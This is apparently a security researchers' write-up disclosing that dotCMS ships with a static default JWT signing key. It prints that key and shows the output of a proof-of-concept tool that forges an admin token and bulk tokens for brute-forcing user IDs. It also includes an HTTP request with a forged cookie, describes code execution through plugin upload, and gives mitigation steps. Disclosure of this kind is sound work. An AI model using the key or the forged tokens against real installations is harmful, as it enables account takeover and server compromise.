Static JWT signing Key in dotCMS

Please let me sign that for you

We recently had a look at dotCMS, an open source content management system written in Java. While we analyzed the CMS source for potential deserializiation vulnerabilities, we stumbled over the following code:

@Override
public Key getKey() {
  final String hashKey = Config
    .getStringProperty(
      "json.web.token.hash.signing.key",
      "rO0ABXNyABRqYXZhLnNlY3VyaXR5LktleVJlcL35T7OImqVDAgAETAAJYWxnb3JpdGhtdAASTGphdmEvbGFuZy9TdHJpbmc7WwAHZW5jb2RlZHQAAltCTAAGZm9ybWF0cQB+AAFMAAR0eXBldAAbTGphdmEvc2VjdXJpdHkvS2V5UmVwJFR5cGU7eHB0AANERVN1cgACW0Ks8xf4BghU4AIAAHhwAAAACBksSlj3ReywdAADUkFXfnIAGWphdmEuc2VjdXJpdHkuS2V5UmVwJFR5cGUAAAAAAAAAABIAAHhyAA5qYXZhLmxhbmcuRW51bQAAAAAAAAAAEgAAeHB0AAZTRUNSRVQ=");
  return (Key) Base64.stringToObject(hashKey);
}

As the key is not changed/generated during the dotCMS installation every default installation of dotCMS uses the same key to sign Json Web Tokens (JWT). This made us curious as JWT is often used for user authentication. When we checked the security best practices section of the documentation, we noticed that the dotCMS team also recommends to change this key on production environments.

  • Use a Custom JWT Signing Key
  • Each dotCMS installation should have a separate and unique JWT signing key.
  • By default dotCMS uses a Default Signing Key. You must explicitly generate a new signing key and then configure your dotCMS installation to use your new signing key with the json.web.token.hash.signing.key property
  • For more information on JWT signing keys, please see the Authentication Using JWT documentation.

However, the value of “json.web.token.hash.signing.key” can’t just be an arbitrary string as dotCMS requires a serialized and base64 encoded instance of an “key” object. dotCMS also doesn’t provide a tool or script to generate such keys. This makes the generation of a key difficult for the average user.

On top of that there are two identical configuration files within two different directories, of which only one has an effect on the used signing key. Changing the signing key in the wrong config file will not have any effect and the standard key is still used. These circumstances make it very likely that many dotCMS installations still use the default key.

Background: JSON Web Tokens

JSON Web Tokens provide an open standard to transmit data within multiple parties. Data within the JWT is by default not encrypted but the data is signed by the issuing party to ensure the content is not manipulated. In the case of dotCMS (and many other web services) JWTs are used for user authentication. The main advantage of using JWT is the fact that the application doesn’t need to store any session information on the server, as everything can be encoded in the token.

A JSON web token consists of three parts, separated by dots (xxxx.yyyyy.zzzzz):

  • Header (JSON, Base64 encoded) which specifies the algorithm used to sign the token.
  • Payload (JSON, Base64 encoded) with claims about the user and additional metadata.
  • Signature to verify the message (Signed with a secret signing key).

A detailed description can be found at the jwt.io site. The following diagram illustrates the typical authentication flow with JSON Web Tokens:

dotCMS authentication workflow with JWT

JSON Web Tokens in dotCMS

As we now know how JWT looks like, lets have a quick look where this technology is used within dotCMS. There are two places where JWT is used for authentication:

  • The REST API which can be used to manage content or execute Elastic Search queries.
  • The AutoLogin feature for the dotCMS backend. A user receives such an AutoLogin token, after a successful login to the dotCMS backend (if the “remember me” option has been selected).

The AutoLogin feature is more interesting for an attacker, as the dotCMS backend provides administrators to run arbitrary code due the installation of plugins. Therefore, we will focus on that.

dotCMS login page

Here is a typical dotCMS JWT token, you can decode it online:

eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJpWEtweXU2QmtzcWI0MHZNa3VSUVF3PT0iLCJpYXQiOjE1MzA1NTIyNDksInN1YiI6IntcInVzZXJJZFwiOlwiaVhLcHl1NkJrc3FiNDB2TWt1UlFRd1xcdTAwM2RcXHUwMDNkXCIsXCJsYXN0TW9kaWZpZWRcIjoxNTMwNTUyMjQ5MDQ1LFwiY29tcGFueUlkXCI6XCJcIn0iLCJpc3MiOiJpWEtweXU2QmtzcWI0MHZNa3VSUVF3PT0iLCJleHAiOjE1MzA1NTM0NDl9.ieoL5zosEU8ATnbKvVWjHSAXyi9FFi3tjqZ70Xu8tqQ

Lets' have a look into the payload section of a dotCMS token:

{
  "jti": "iXKpyu6Bksqb40vMkuRQQw==",
  "iat": 1529522202,
  "sub": "{\"userId\":\"iXKpyu6Bksqb40vMkuRQQw\\u003d\\u003d\",\"lastModified\":1204824961000,\"companyId\":\"dotcms.org\"}",
  "iss": "iXKpyu6Bksqb40vMkuRQQw==",
  "exp": 1530731802
}
Field Description
jti Unique identifier of the token. This is the userID for whom this token is for. (Base64 and URL encoded)
iat Issued at time
sub Field with custom information
userID Same as jti, but any Base64 padding ('=') stripped
lastModified Last modification time
companyId Registered company (not needed for our purpose)
iss Issuer of the token. This has the same value as in jti.
exp Token expiration time

As far as we now, there is no direct way to change the companyId from “dotcms.org” to another value. Therefore, everything an attacker needs is a valid userID. The userID of the initially generated administrator account is “dotcms.org.1”.

dotCMS profile details for the user id docms.org.1

Successive users have the same pattern but less predictable numeration, nonetheless it is relatively easy to automate the enumeration of user ids due the small key space (4 digits).

dotCMS profile details for a different user

As an additional security step the user ID within the JWT is encrypted, this is done with the same key as the default signing key. Side note: changing the default signing key will not change the user ID encryption key.

As the attacker can set/guess all values in the payload section and has access to the default signing key, it is possible to generate a valid token for any user and access the dotCMS backend with the generated token.

Exploitation

We created a small tool that allows the generation of dotCMS JWT tokens that are signed with the default key. The tool itself is quite self explaining:

timo@dotcms ~/w/d/d/target> java -jar dotCMSTokenGenerator-0.0.1-shaded.jar 
----- dotCMS TokenGenerator PoC by MOGWAI LABS GmbH (https://mogwailabs.de) -----

usage: generate_dotCMS_JWT.jar
 -e,--enumerate <arg>   enumerate usernames (e.g. -e 1:100:dotcms.org.
                        --> dotcms.org.[1-100]
 -k,--key <arg>         custom signing Key, the JWT will be signed with
                        this key.
 -o,--output <arg>      output File for JWT List
 -u,--user <arg>        userID

Example usage: generateDotCMS_JWT.jar -u 'dotcms.org.1'
Example usage: generateDotCMS_JWT.jar -e '2700:2900:dotcms.org.' -o '/tmp/tokens.lst'

To generate a JWT token for a specific user ID (dotcms.org.1 is the default admin user):

timo@dotcms ~/w/d/d/target> java -jar dotCMSTokenGenerator-0.0.1-shaded.jar -u 'dotcms.org.1'
----- dotCMS TokenGenerator PoC by MOGWAI LABS GmbH (https://mogwailabs.de) -----

eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJpWEtweXU2QmtzcWI0MHZNa3VSUVF3PT0iLCJpYXQiOjE1MzA1NDM1NTksInN1YiI6IntcInVzZXJJZFwiOlwiaVhLcHl1NkJrc3FiNDB2TWt1UlFRd1xcdTAwM2RcXHUwMDNkXCIsXCJsYXN0TW9kaWZpZWRcIjoxNTMwNTQzNTU5Mzk5LFwiY29tcGFueUlkXCI6XCJcIn0iLCJpc3MiOiJpWEtweXU2QmtzcWI0MHZNa3VSUVF3PT0iLCJleHAiOjE1MzA1NDQ3NTl9.Vk9n2dXdSYMb3pjht6EBZy5Plj63qtDuPvke11eOsU4

You can use the following HTTP request to verify if the token is valid or not. Just replace the “access_token” cookie with the generated token.

GET /api/v1/users/current HTTP/1.1
Host: 192.168.11.130:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.11.130:8080/dotAdmin/
com.dotmarketing.session_host: 48190c8c-42c4-46af-8d1a-0cd5db894797
Cookie:
access_token=eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJpWEtweXU2QmtzcWI0MHZNa3VSUVF3PT0iLCJpYXQiOjE1MzA2OTAxMjEsInN1YiI6IntcInVzZXJJZFwiOlwiaVhLcHl1NkJrc3FiNDB2TWt1UlFRd1xcdTAwM2RcXHUwMDNkXCIsXCJsYXN0TW9kaWZpZWRcIjoxNTI3NDk3ODUzNzc0LFwiY29tcGFueUlkXCI6XCJkb3RjbXMub3JnXCJ9IiwiaXNzIjoiaVhLcHl1NkJrc3FiNDB2TWt1UlFRdz09IiwiZXhwIjoxNTMxODk5NzIxfQ.7RVzkQBvYy_JKZQhYRed9FJrgFpwteVmg_Bg3uBNCJE
Connection: close

If the token was valid, the server will return details of the current user. The returned session is also authenticated.

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=808B80A824B792D9593DDF29B742FB05; Path=/; HttpOnly
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: Authorization, Accept, Content-Type, Cookies
Content-Type: application/json
Content-Length: 138
Date: Wed, 04 Jul 2018 07:43:51 GMT
Connection: close

{"userId":"dotcms.org.1","givenName":"Admin","email":"admin@dotcms.com","surname":"Admin","roleId":"e7d4e34e-5127-45fc-8123-d48b62d510e3"}

It is also possible to generate a list of potential tokens. The generated list can be used in a tool like “burp intruder” to conduct a brute force attack for valid user ids. The following example will generate tokens for the ids dotcms.org.2000 to dotcms.org.3000

timo@dotcms ~/w/d/d/target> java -jar dotCMSTokenGenerator-0.0.1-shaded.jar -e '2000:3000:dotcms.org' -o /tmp/dotcmstokens
----- dotCMS TokenGenerator PoC by MOGWAI LABS GmbH (https://mogwailabs.de) -----

Starting to generate the JWT list...
Done generating list to /tmp/dotcmstokens

Post exploitation

Once authenticated as a privileged user the attacker is able to upload a custom plugin, which allows the execution of malicious code on the server. The plugin upload can be found under “Dev Tools -> Plugins -> Upload Plugin”.

plugin upload form within the dotCMS backend

dotCMS plugins are written in Java and can be executed automatically right after the upload which allows the attacker to execute commands under the context of the dotCMS user. As a proof of concept we modified an existing example plugin which creates a file on the web server upon uploading.

Mitigations

The easiest way to mitigate this issue is to change the dotCMS default key. We created a small tool which simplifies the generation of such a signing key. When run, it generates a random AES 256 string which can replace the default key within the dotCMS configuration file:
{dotCMSRoot}/dotserver/tomcat-{version}/webapps/ROOT/WEB-INF/classes/dotmarketing-config.properties.

Within the config file there is a line with # json.web.token.hash.signing.key={theDefaultKey}. Delete the “#” (and any leadying whitespaces) at the beginning of the line. {theDefaultKey} needs to be replaced with the new generated key. After a restart of dotCMS the changes take effect.

Contact with the vendor

We contacted the dotCMS vendor about this issue. They don’t directly see this as a vulnerability, as they already recommend to change the default key to their customers. The issue was partly known, documented in the following Github issues:

However, our research resulted in several additional issues:

dotCMS doesn’t plan to backport these issues to the current dotCMS version (4.3.3), instead they should be part of version 5.x which will be released in a few months.


Thanks to Jon Tyson on Unsplash for the title picture.